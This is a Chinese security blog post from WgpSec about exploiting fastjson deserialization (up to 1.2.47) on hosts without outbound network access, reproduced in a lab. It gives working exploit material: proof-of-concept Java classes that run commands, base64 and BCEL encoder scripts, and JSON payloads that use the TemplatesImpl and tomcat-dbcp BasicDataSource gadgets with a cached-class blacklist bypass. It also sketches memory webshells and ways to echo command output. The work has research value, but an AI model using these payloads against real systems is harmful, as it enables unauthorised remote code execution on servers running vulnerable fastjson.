前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >fastjson 不出网利用总结

fastjson 不出网利用总结

原创
作者头像
WgpSec
修改2021-02-04 18:04:45
9.3K0
修改2021-02-04 18:04:45
举报
文章被收录于专栏:狼组安全团队狼组安全团队

声明

本文作者:flashine

本文字数:2382

阅读时长:20分钟

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载

前言

    之前做项目在内网测到了一个fastjson反序列化漏洞,使用dnslog可以获取到ip,但是通过burp请求在vps搭建的rmi服务时发现rmi服务监听的端口有收到请求,但是http服务没有收到请求,所以就研究一下不出网的fastjson怎么利用。

0x00 

利用方式

目前公开已知的poc有两个:

  1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一种利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发,参考如下代码:

代码语言:javascript
复制
JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField});

第二种利用方式则需要应用部署在Tomcat应用环境中,因为Tomcat应用环境自带tomcat-dbcp.jar

对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat-dbcp。

而且对于不同的Tomcat版本使用的poc也不同:• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource

0x01 

利用复现

环境配置:

• fastjson 1.2.45 • 代码参考 vulhub • 服务器:Windows Server 2012 r2 • jdk版本:jdk8u112

1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这里使用的是SpringBoot自带的Tomcat复现的漏洞。由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;​public class Calc extends AbstractTranslet {public Calc() throws IOException {        Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    @Override    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {    }    public static void main(String[] args) throws Exception {        Calc t = new Calc();    }}

通过命令行执行javac Poc.java得到class文件,然后通过python脚本得到该文件的base64编码:

代码语言:javascript
复制
import base64​with open(r"Poc.class", "rb") as file:    s = base64.b64encode(file.read())    print(s.decode('utf-8'))

由于fastjson在1.2.25版本之后增加了黑名单机制,因此网上直接找到的poc并不能直接拿来用,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:

代码语言:javascript
复制
{    "a": {        "@type": "java.lang.Class",        "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"        },    "b": {        "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",        "_bytecodes": ["poc.class_base64"],        '_name': 'a.b',        '_tfactory': {},        "_outputProperties": {},        "_name": "b",        "_version": "1.0",        "allowedProtocols": "all"      }}

直接弹出计算器:

2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource

利用环境需要实际下载Tomcat应用环境或者在maven中配置如下依赖:

代码语言:javascript
复制
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

我这里使用的是从Tomcat官网下载的Tomcat8.5.61,需要将springboot打成war包进行部署。

准备的Poc如下:

代码语言:javascript
复制
public class Poc{    static {        try{            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});        } catch (Exception e) {        }    }}​// 在构造函数中写也可以public class Poc{    public Poc(){        try{            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});        } catch (Exception e) {        }    }}

首先在命令行下运行javac Poc.java得到Poc.class ,然后运行下面的java代码得到Poc.class文件的BCEL编码(编码内容保存在res.txt中)。

这里有个坑,需要注意下,我直接在本机环境(jdk8u271)下运行结果输出的内容特别短,根本没有进行编码,怀疑是高版本对该函数做了修改,后来直接用测试服务器的jdk8u112运行代码得到的编码。

代码语言:javascript
复制
import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.BufferedWriter;import java.io.FileWriter;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;​public class Test{​    public static void main(String[] args) throws IOException {        Path path = Paths.get("C:\\Users\\Administrator\\Desktop\\Poc.class");        byte[] bytes = Files.readAllBytes(path);        System.out.println(bytes.length);        String result = Utility.encode(bytes,true);        BufferedWriter bw = new BufferedWriter(new FileWriter("C:\\Users\\Administrator\\Desktop\\res.txt"));        bw.write("$$BCEL$$" + result);        bw.close();    }}

同上由于fastjson在1.2.25版本之后增加了黑名单机制,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:

代码语言:javascript
复制
{    "a": {        "@type": "java.lang.Class",        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"    },    "b": {        "@type": "java.lang.Class",        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"    },    "c": {        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",        "driverClassLoader": {            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"        },        "driverClassName": "BCELencode"    }}

不知道是什么问题,计算器有时候能弹出界面,有时候只能在任务管理器里看到:

0x02 

一点思考

第一个Poc比较难利用,第二个在1.2.47以下版本还可以利用,所以就想试试插入一个内存webshell或者是执行命令有回显。

1. 内存webshell

这里参考雷神众测的文章(文后已附上),通过将注册恶意类的字节码文件和注册controller的类的字节码文件经过BCEL编码后请求到服务器,发现直接报错:

看起来好像是com.sun.org.apache.bcel.internal.util.ClassLoader没有加载到AbstractTranslet这个类,由于对内存shell的代码不了解,不知道针对这种情况情况的代码怎么修改,暂时作罢。

2. 命令执行回显

常见的回显方式有三种:

  1. 一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
  2. 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
  3. 直接将命令执行结果回显到请求Poc的HTTP响应中。

0x03 

参考链接

https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/ https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html https://xz.aliyun.com/t/7104 Fastjson反序列化进攻利用 SpringBoot内存shell https://xz.aliyun.com/t/7740

后记

第一种需要提前知道物理路径才能写文件,可以直接利用,这里就不细说了。第二种通过dnslog.cn和ceye.io也用得比较多了,但是数据量大了之后就不方便外带了。第三种在网上有很多文章,我自己尝试了下但是很多报错都跟上图一样提示NoClassDefFoundError,不知道有没有师傅有解决办法。

WgpSec狼组安全团队

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • 2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource
  • 1. 内存webshell
  • 2. 命令执行回显
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档